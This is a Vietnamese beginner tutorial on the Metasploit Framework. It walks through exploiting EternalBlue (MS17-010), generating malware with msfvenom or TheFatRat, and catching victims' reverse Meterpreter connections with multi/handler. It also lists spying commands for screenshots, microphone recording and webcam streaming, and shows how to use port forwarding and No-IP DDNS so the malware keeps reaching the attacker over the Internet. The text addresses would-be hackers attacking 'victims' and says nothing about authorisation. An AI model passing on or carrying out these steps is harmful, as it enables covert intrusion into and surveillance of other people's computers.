Metasploit Framework là một framework viết bằng Ruby sử dụng để tấn công và khai thác những lỗ hổng trên nhiều loại hệ thống khác nhau (Windows/Linux/Cisco/WordPress/....)
Dẹp bỏ qua những khái niệm rắc rối và không cần thiết, hôm nay mình sẽ cùng các bạn tìm hiểu Metasploit Framework ở mức độ cực kì cơ bản
A. Cài đặt
Hiện tại có 5 cách để cài đặt Metasploit
- Sử dụng Metasploit được cài sẵn trong hầu hết các distro Linux phục vụ Hacking
- Cài đặt Metasploit vào một hệ điều hành Linux bất kì (Như Ubuntu)
- Cài đặt Metasploit vào Windows
- Sử dụng Metasploit trên Windows qua Pentest Box
- Sử dụng Metasploit trên Windows 10 qua Bash on Ubuntu on Windows
=> Tóm lại. Vì bạn là người mới học ở mức độ cực kì cơ bản. Thì các bạn xài cách 1 cho nhanh. Còn 4 cách sau thì bỏ qua, sau thích thì cài, không thì thôi
B. Một số khái niệm rất chi là cơ bản (Học thuộc đi nhé)
- LHOST: Địa chỉ IP của máy Hacker (Nếu tấn công ngoài Internet thì xài IP Public, hoặc DDNS của No-IP.com)
- RHOST: Địa chỉ IP của máy Vicitm (Nếu tấn công ngoài Internet thì xài IP Public, RHOST có thể là URL Website cũng OK)
- LPORT: Port mở ra trên máy Hacker (Nếu tấn công ngoài Internet thì bắt buộc Port đó phải mở trên Router, còn hack trong mạng LAN thì port nào cũng được)
- RPORT: Port trên máy victim (Khi đi khai thác lỗ hổng, tùy lỗ hổng nằm trên giao thức nào thì có các RPORT đặc thù, thực chất Metasploit sẽ tự đặt cho các bạn)
- PAYLOAD: Có cấu trúc như sau (tên hệ điều hành/kiểu hệ thống/kiểu tấn công/giao thức tấn công)
- Tên hệ điều hành: android hay windows
- Kiểu hệ thống: x86 hay x64 (Nếu không biết thì bỏ qua)
- Kiểu tấn công: meterpreter hay shell
- Giao thức: reverse_tcp; reverse_tcp_dns; reverse_https
- Ví dụ: windows/meterpreter/reverse_tcp_dns
C. Hướng dẫn khởi động Metasploit.
B0: Trong lần khởi động đầu tiên. Gõ lệnh msfdb init để tạo database cho metasploit
Ghi chú nho nhỏ: Sau này bạn cần update metasploit thì cứ apt-get update && apt-get upgrade -y nhé, không phải update thủ công đâu
B1: Khởi động service database hỗ trợ cho metasploit: service postgresql start
B2: Khởi động nó lên bằng lệnh msfconsole rồi chờ vài phút thôi
D. Dùng Metasploit để khai thác lỗ hổng
B1: Tìm kiếm thông tin về moudle lỗ hổng. Mỗi lỗ hổng thường đi kèm mã của nó. Thí dụ tôi muốn khai thác lỗ hổng MS17_010 (hoặc là CVE-2017-0143) chẳng hạn. Có 2 cách sau để tìm ra
P/s: Muốn tìm các lỗ hổng mới nhất thì các bạn chăm chỉ đi đọc các trang web về bảo mật. Ví dụ như
https://securityonline.info/
http://thehackernews.com/
Cũng có một số lỗ hổng mà metasploit chưa cập nhật module khai thác thì bạn phải thêm thủ công từ nhiều nguồn khác vào. Lúc đó tác giả của moudle sẽ có hướng dẫn riêng cho bạn
P/s: Muốn tìm các lỗ hổng mới nhất thì các bạn chăm chỉ đi đọc các trang web về bảo mật. Ví dụ như
https://securityonline.info/
http://thehackernews.com/
Cũng có một số lỗ hổng mà metasploit chưa cập nhật module khai thác thì bạn phải thêm thủ công từ nhiều nguồn khác vào. Lúc đó tác giả của moudle sẽ có hướng dẫn riêng cho bạn
Cách 1: Nhanh hơn. Google từ khóa mã lỗ hổng+metasploit moudle exploit (Hoặc how to exploit + mã lỗ hổng+ by metasploit) . Ưu tiên lựa chọn các kết quả từ trang rapid7.com nhé (Trang của nhà phát triển Metasploit)
2 kết quả đó cái thứ hai các bạn thấy có chữ Detection có nghĩa là dùng để quét xem Victim có bị lỗ hổng hay không. Còn cái thứ nhất là để khai thác.
Khi truy cập vào trang đó thì các bạn có thể dễ dàng tìm được câu lệnh (use exploit/windows/smb/ms17_010_eternalblue) tại Module Options. Và còn nhiều thông tin khác về lỗ hổng
Cách 2: Chậm hơn: dùng lệnh search+mã lỗ hổng để tìm
Những module nào có chữ auxiliary là các module để kiểm tra victim còn exploit là các moudle để tấn công
B2: Sau khi kiếm được moudle để tấn công rồi. Gõ lệnh use + tên moudle
B3: Gõ lệnh Show Info để thu thập thông tin về Moudle. Có mấy điểm sau chúng ta cần lưu ý
- Avalible Target: Những hệ điều hành bị ảnh hưởng. Đi kèm ID để chúng ta có thể chọn lựa hệ điều hành muốn tấn công. Chúng ta sẽ xài câu lệnh set target + ID để chọn hệ điều hành cần tấn công
- Basic Options: Cái này các bạn đầu tiên nhìn vào cột Required. Nếu báo Yes thì nó yêu cầu bạn phải khai báo tham số đó thì mới tấn công được. Sử dụng câu lệnh set + tên tham số + giá trị (Ví dụ: set RHOST 192.168.1.7)
- Ngoài ra các bạn cần phải chú ý thí dụ ở đây tại tham số PROCESSINJECT có lưu ý Change to lsass.exe for x64 thì các bạn phải đặt lại giá trị là lsass.exe nếu bạn muốn tấn công HĐH 64bit
B4: Sau khi hoàn thành tất cả những gì moudle yêu cầu các bạn gõ exploit để bắt đầu tấn công
B5: Nếu thành công, nó sẽ có thông báo Meterpreter sessions x is opened
Gõ lệnh sessions -i x (x là số thứ tự của phiên Meterpreter) để vào phiên
Các bạn có thể coi tiếp phần Hậu tấn công để biết mình nên làm gì tiếp theo
E. Dùng Metasploit để tấn công bằng file mã độc
File mã độc bạn có thể tạo bằng nhiều cách, xài msfvenom hoặc TheFatRat hoặc 1 tá công cụ khác trên Linux. Các bạn có thể dễ dàng tìm hiểu các cách tạo mã độc trong Playlist của tôi trên Youtube
Bất cứ tool tạo mã độc nào mà có thể làm việc được với Metasploit thì các bạn đều phải khai báo ít nhất là 3 điều bắt buộc sau: LHOST; LPORT; PAYLOAD
Rồi chúng ta sẽ thiết lập Metasploit để hứng kết nối từ Victim.
B1: Khởi động Metasploit và lần lượt gõ các câu lệnh sau
use exploit multi/handler
set LHOST
set LPORT
set PAYLOAD
exploit -j
B2: Khi victim chạy file mã độc, chúng ta sẽ có phiên Meterpreter
F. Hậu tấn công
Sau khi đã có phiên Meterpreter, chúng ta hoàn toàn có thể gõ lệnh help để show ra những lệnh có thể xài để khai thác thông tin máy victim. tuy vậy, tôi cũng liệt kê ra một số lệnh rất chi là cơ bản
screenshot: Chụp ảnh màn hình Victim
record_mic: Ghi âm mic
webcam_list: Hiển thị danh sách webcam
webcam_snap: Chụp ảnh qua webcam victim
webcam_stream: Stream trực tiếp từ máy victim
vân vân và vân vân
G. Cách mở port để tấn công qua mạng Internet (Sơ lược)
B1: Mở trang cài đặt của Router ra. Nếu nhà bạn có nhiều router mắc nối tiếp, các bạn nên kết nối với con router đầu tiên
B2: Tìm 1 phần tên là NAT hoặc Port Forwarding
B3: Click Add để thêm 1 cấu hình mới. Chỗ này các bạn cần phải khai mấy thứ cơ bản sau. Tùy theo con router của bạn
Server IP: Điền cái IP mạng LAN của Kali vào
Port: Điền Port muốn mở, còn nếu có 2 mục LAN PORT và WAN PORT thì điền như nhau
Đây là 1 số Video tôi đi mở Port cho anh em và quay lại. Còn các bác nào xài VNPT thì coi 2 hình kia là đủ
NAT Port Router ZTE F600W
NAT Port Router TPLINK ở tình huống phức tạp (Có 2 router và máy bác đó cắm vào Router thứ hai). Nếu bác nào mà Router TPLINK là router thứ nhất thì chỉ cần làm đoạn đầu thôi
Tester.
Lưu ý cực kì quan trọng. Nếu xài máy ảo thì máy thật phải Off Firewall đi. Nếu không là không hứng được kết nối về
use exploit multi/handler
set LHOST IP Public tại trang ipcuatoi.com
set LPORT Port đã mở
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -j
Vào trang canyouseeme.org. Nhập port đã mở vào ô port và bấm check, thấy như hình là OK
Vào trang canyouseeme.org. Nhập port đã mở vào ô port và bấm check, thấy như hình là OK
Nếu bạn truy cập ipcuatoi.com một vài lần thì có thể dễ dàng thấy, địa chỉ IP Public của bạn bị thay đổi. Như vạy, chúng ta cần sử dụng 1 dịch vụ DDNS trung gian để nó dễ dàng phân giải ra IP mà chúng ta đang xài
Ví dụ như sau
- Nếu bạn tạo mã độc mà IP Hacker là 1.2.3.4 chẳng hạn, thì khi victim chạy thì nó sẽ tìm máy có IP 1.2.3.4 để trả phiên meterpreter về. Nhưng nếu IP Hacker bị đổi sang 3.4.5.6 thì hacker không thể nhận được Meterpreter session
- Nếu bạn tạo mã độc mà IP Hacker là abc.ddns.net chẳng hạn, thì khi victim chạy thì nó sẽ kết nối tới cái DDNS abc.ddns.net và nó sẽ tự động phân giải ra IP thật của hacker. Trên máy hacker có cài tool để theo dõi sự thay đổi Ip để đảm bảo DDNS luôn khớp với IP Public hiện tại
Hiện tại có 2 dịch vụ cung cấp DDNS FREE là No-IP và DynDNS. Trong bài này mình sẽ chỉ các bạn dùng No-IP
1. Đăng kí một tài khoản và tạo 1 DDNS mới
B1: Truy cập https://www.noip.com/sign-up . Và đăng kí 1 cái tài khoản
Lưu ý: Chỗ hostname, nên chọn đuôi là ddns.net
B2: Check Mail và Confrim Account:
B3: Truy cập trang https://www.noip.com/download?page=linux và tải về file cài đặt
B4: Thực hiện tuần tự các lệnh sau
tar -xvf noip-duc-linux.tar.gz
cd noip-2.1.9-1/
chmod a+x Makefile
./Makefile
B5: Nhập email bạn đăng kí No-IP bấm Enter
B6: Nhập mật khẩu rồi bấm Enter 2 lần
B7: Để khởi chạy No-IP các bạn gõ noip2 rồi Enter
Giờ đây là bài test tấn công qua mạng Internet (Thử nghiệm trên Server của Admin)
I. Kết bài
Sau bài viết này, thì các bạn đã nắm vững cách sử dụng Metasploit cực kì cơ bản. Mong các bạn học tập tốt. Và mình sẽ có những bài viết sau, chủ yếu là bài viết bổ trợ cho phần Hậu tấn công. Cảm ơn các bạn đã đón xem
Tài liệu được viết bởi Nguyễn Anh Kiệt-Linux Team Việt Nam. Đăng vào 8:20PM ngày 13/8/2017